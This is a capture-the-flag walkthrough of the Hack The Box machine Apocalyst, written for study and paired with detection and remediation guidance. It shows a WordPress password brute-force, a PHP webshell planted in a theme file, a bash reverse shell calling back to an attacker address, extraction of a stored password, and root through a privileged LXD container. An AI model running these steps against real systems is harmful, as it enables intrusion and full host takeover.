Skip to content
Back to all posts

HTB: Apocalyst

· 18 min medium Linux Apocalyst

A steganographic wordlist hidden in a WordPress uploads image provides the admin password through brute-force, then a world-readable .secret file and LXD group membership deliver root via container escape.

Overview

Apocalyst is a retired medium-rated Linux machine running WordPress 4.8 on Ubuntu 16.04. The attack chain begins with steganography: an image in the WordPress uploads directory contains a hidden wordlist, extractable with an empty steghide passphrase. This wordlist serves dual purpose: directory fuzzing (which produces only decoys) and password brute-force against the sole WordPress user falaraki. The password “Transclisiation” grants admin access, enabling a webshell via the theme file editor.

Privilege escalation has two stages. A world-readable .secret file in falaraki’s home directory contains a base64-encoded SSH password, providing a proper interactive shell. Then falaraki’s lxd group membership allows creating a privileged Alpine container with the host filesystem mounted, mapping container root directly to host root.

The box teaches two things: target-derived wordlists beat generic ones, and LXD group membership is functionally equivalent to root access.

Reconnaissance

nmap -sC -sV -T4 10.129.14.211
PortServiceProduct / VersionNotes
22SSHOpenSSH 7.2p2 Ubuntu 4ubuntu2.2Ubuntu 16.04 banner
80HTTPApache 2.4.18 (Ubuntu)WordPress 4.8

Two ports. A minimal attack surface. HTTP returns a WordPress installation at apocalyst.htb (added to /etc/hosts based on the page content). I ran WPScan to fingerprint the installation:

wpscan --url http://apocalyst.htb --enumerate u,p

WPScan identifies WordPress 4.8 with the TwentySeventeen theme. No vulnerable plugins are detected. Author archive enumeration via /?author=1 confirms falaraki as the sole user. With no plugin vulnerabilities and only one user account, the attack surface is narrow: either a WordPress core vulnerability, a theme vulnerability, or credential compromise.

Attack Surface Analysis

Steganographic wordlist in uploads

The uploads directory (/wp-content/uploads/) has directory listing enabled. Under 2017/09/, a single image file is present: image.jpg. On boxes where the obvious attack vectors are exhausted, embedded data in images is worth checking. I used steghide because it is the most common CTF steganography tool for JPEG files (it operates on DCT coefficients, unlike LSB tools that target PNG):

steghide extract -sf image.jpg -p ""
# wrote extracted data to "list.txt"

wc -l list.txt
# 437 list.txt

An empty passphrase works. The extracted file contains 437 entries: dictionary words and names, including “Transclisiation” (a deliberate misspelling that would not appear in any standard wordlist). This is the key insight for the box. The wordlist is custom to the target; rockyou.txt would not contain the password.

Directory fuzzing (decoy)

My first instinct was to use the wordlist for directory fuzzing:

feroxbuster -u http://apocalyst.htb -w list.txt

Every word in the list corresponds to a WordPress page at http://apocalyst.htb/<word>/. All pages are identical: they display the same default content with no distinguishing information. This is a deliberate rabbit hole. I spent time diffing page responses and checking source code before concluding that the directory fuzzing path is a dead end. The primary value of the wordlist is as a password list for brute-force.

Vulnerability Analysis

WordPress admin brute-force (CWE-521)

AttributeValue
CWECWE-521 (Weak Password Requirements)
Root causeAdmin password is a dictionary word present in a target-derived wordlist
ImpactFull WordPress admin access; leads to RCE via theme editor

WordPress has no account lockout by default. The xmlrpc.php endpoint supports wp.getUsersBlogs for credential testing, and the standard /wp-login.php form has no rate limiting. A 437-entry wordlist completes in seconds regardless of which endpoint is used.

World-readable credential file (CWE-732)

AttributeValue
CWECWE-732 (Incorrect Permission Assignment for Critical Resource)
Root cause.secret file with 644 permissions in user home directory
ImpactSSH credential disclosure; interactive shell access

The .secret file is readable by any local user, including www-data. The filename starts with a dot, which hides it from a bare ls but not from ls -la. This is a pattern seen frequently in CTFs and, disturbingly, in production: developers store credentials in dotfiles assuming the leading dot provides some form of protection.

LXD container escape (CWE-269)

AttributeValue
CWECWE-269 (Improper Privilege Management)
Root causeUser in lxd group; privileged containers map UID 0 to host UID 0
ImpactFull root access via host filesystem mount

The LXD container escape is not a vulnerability in the traditional sense. It is a design feature. Any member of the lxd group can create privileged containers where container root maps directly to host root. The escape requires no CVE, no exploit code, and no special tooling. The mitigation is removing users from the group or configuring the LXD daemon to reject privileged containers entirely.

Exploitation

Step 1: WordPress admin brute-force

wpscan --url http://apocalyst.htb \
  --passwords list.txt \
  --usernames falaraki
# [+] Valid: falaraki / Transclisiation

I chose WPScan over Hydra or Burp Intruder because WPScan handles WordPress authentication nonces and cookies automatically. For wp-login.php brute-force, it also parses the response to distinguish between “incorrect password” and “unknown username” error messages, confirming the username is valid before iterating passwords.

Step 2: Webshell via theme editor

With admin credentials, the WordPress dashboard exposes the theme file editor (Appearance > Theme Editor). The TwentySeventeen theme’s 404.php is a standard target: it is guaranteed to exist, easy to trigger via any non-existent URL, and unlikely to be monitored. I appended a minimal command execution handler:

<?php if(isset($_GET['cmd'])){ echo system($_GET['cmd']); } ?>

Verification:

curl "http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Code execution as www-data confirmed.

Step 3: Reverse shell

nc -lvnp 4444

curl "http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.x/4444+0>%261'"

Shell received as www-data. I upgraded to a full TTY with the standard python3 -c 'import pty;pty.spawn("/bin/bash")' sequence followed by stty raw -echo; fg for proper terminal handling.

Step 4: Credential discovery

From the www-data shell, I enumerated home directories for readable files:

ls -la /home/falaraki/
# -rw-r--r-- 1 falaraki falaraki ... .secret

cat /home/falaraki/.secret
# Keep forgetting password so this will keep it safe!
# WTBZdUFJTnRHMzdUaU5nVEghc1V6ZXJzUDRzcw==

echo "WTBZdUFJTnRHMzdUaU5nVEghc1V6ZXJzUDRzcw==" | base64 -d
# Y0uAINtG37TiNgTH!sUzersP4ss

The base64 encoding provides no security; it is trivially reversible. The comment in the file (“Keep forgetting password”) confirms this is the user’s SSH password rather than an application credential.

Step 5: SSH as falaraki

ssh [email protected]
# Password: Y0uAINtG37TiNgTH!sUzersP4ss

falaraki@apocalyst:~$ cat user.txt
# [redacted]

User flag obtained. An SSH session provides a stable, fully interactive shell that survives disconnects, unlike the reverse shell through Apache.

Step 6: LXD container escape

id
# uid=1000(falaraki) gid=1000(falaraki) groups=...,108(lxd)

The lxd group membership is immediately visible. I checked for alternative privilege escalation paths first: sudo -l returned nothing, no SUID binaries were unusual, and the kernel (4.4.0-x) had known exploits but the LXD path is cleaner and more reliable.

Build and transfer an Alpine image from the attacker machine:

# Attacker
wget https://dl-cdn.alpinelinux.org/alpine/v3.18/releases/x86_64/alpine-minirootfs-3.18.0-x86_64.tar.gz -O rootfs.tar.gz

cat > metadata.yaml << 'EOF'
architecture: x86_64
creation_date: 1704067200
properties:
  description: Alpine 3.18
  os: Alpine
  release: "3.18"
EOF

tar czf metadata.tar.gz metadata.yaml
scp metadata.tar.gz rootfs.tar.gz [email protected]:/tmp/

I used Alpine because the minimal rootfs is under 3 MB, making the transfer fast over the HTB VPN. Any Linux distribution would work; the container’s purpose is solely to provide a root process that can access the host filesystem.

On the target:

lxc image import /tmp/metadata.tar.gz /tmp/rootfs.tar.gz --alias alpine
lxc init alpine pwned -c security.privileged=true
lxc config device add pwned host-root disk source=/ path=/mnt/root recursive=true
lxc start pwned

The critical flag is security.privileged=true. By default, LXD uses UID namespace remapping: container UID 0 maps to an unprivileged host UID (e.g., 100000). Setting security.privileged=true disables this remapping, so container root operates as actual host root. The disk device mounts the entire host filesystem at /mnt/root with full read-write access.

lxc exec pwned -- cat /mnt/root/root/root.txt
# [redacted]

lxc exec pwned -- chroot /mnt/root /bin/bash
# uid=0(root) gid=0(root)

Root flag obtained. The chroot into /mnt/root provides a full root shell on the host filesystem, identical in capability to a direct root login.

Post-Exploitation

The system runs Ubuntu 16.04 x86_64 with kernel 4.4.0, well past end-of-life.

I checked whether MySQL credentials from wp-config.php could provide an alternative escalation path:

grep DB_PASSWORD /var/www/html/apocalyst.htb/wp-config.php
# define('DB_PASSWORD', 'Th3SoopaD00paPa5S!');

The MySQL root password Th3SoopaD00paPa5S! was rejected for SSH login to both falaraki and root. I also attempted MySQL UDF privilege escalation, but secure_file_priv was set to /var/lib/mysql-files/, blocking the required INTO DUMPFILE to the plugin directory. Application credentials were properly segregated from system credentials on this box.

Defensive Analysis

PhaseMITRE ATT&CKDetection
ReconnaissanceT1595.002WPScan user-agent in Apache access logs
Credential accessT1110.001Burst of 437 failed logins against wp-login.php in seconds
ExecutionT1059.004bash spawned as child of Apache worker process
DiscoveryT1083www-data reading files in /home/falaraki/
Privilege escalationT1611lxc init with security.privileged=true

WordPress brute-force: 437 sequential POST requests to wp-login.php in under a second is trivially detectable. Any WAF, fail2ban configuration, or even a basic mod_evasive setup monitoring authentication endpoints would block this after the first few failures. The WordPress xmlrpc.php multicall technique (batching hundreds of credential tests in a single HTTP request) would be stealthier but was unnecessary given the absence of any rate limiting.

Apache process tree: A bash process spawned as a child of an Apache worker is a high-confidence indicator of webshell execution. Process monitoring tools (Sysmon for Linux, auditd, or Falco) would flag this immediately. The expected process tree for Apache is apache2 -> php -> [nothing], not apache2 -> php -> bash -> bash.

LXD container creation: lxc init with security.privileged=true should be treated as a critical security event. LXD logs container creation events, and an auditd rule on the lxc binary with argument inspection would detect the privileged flag. In a production environment, LXD should be configured to reject privileged containers at the daemon level.

Remediation

PriorityActionEffortImpact
P0Remove falaraki from the lxd groupLowCritical
P0Change WordPress admin password to a strong random valueLowCritical
P0Delete .secret file; rotate the SSH passwordLowCritical
P1Disable WordPress theme file editor (DISALLOW_FILE_EDIT in wp-config.php)LowHigh
P1Install fail2ban or rate-limit wp-login.phpLowHigh
P1Set home directory permissions to 750LowHigh
P2Disable directory browsing on uploads directoryLowMedium
P2Scan uploaded images for steganographic contentMediumMedium
P3Upgrade to a supported Ubuntu LTS releaseHighHigh

The LXD group membership is the most critical finding. Two commands grant full host filesystem access as root, with no exploit code required. This applies equally to Docker group membership: any user who can create containers with host mounts and disabled namespace isolation has unrestricted system access. The fix is straightforward: remove the user from the group. If LXD must remain available, configure it to reject privileged containers via lxc config set security.privileged false at the daemon level.

The home directory permissions compound the problem. Even without the .secret file, a 755 home directory allows any local user (including www-data from a webshell) to enumerate its contents. Setting home directories to 750 or 700 is a baseline hardening step that blocks this entire class of lateral movement.

Key Takeaways

  1. Target-derived wordlists beat generic ones. A 437-entry wordlist extracted from the target itself contains the password when a 14-million entry list like rockyou.txt would not. Before reaching for generic wordlists, build target-specific lists from extracted content, page text, usernames, and embedded data. Steghide with an empty passphrase is a quick check that takes seconds and occasionally pays off.

  2. World-readable files in home directories are high-value targets. Files like .secret, .bash_history, .env, and .config/ in user home directories regularly contain credentials. The leading dot provides no security; it only hides the file from ls without the -a flag. Always enumerate with ls -la on every accessible home directory.

  3. LXD group membership is functionally equivalent to root. The container escape requires no CVE, no exploit code, and no special tools. Two lxc commands grant full host filesystem access as root. The same principle applies to Docker group membership. Audit group memberships as part of any Linux privilege escalation checklist: id, then check whether any group grants container or disk access.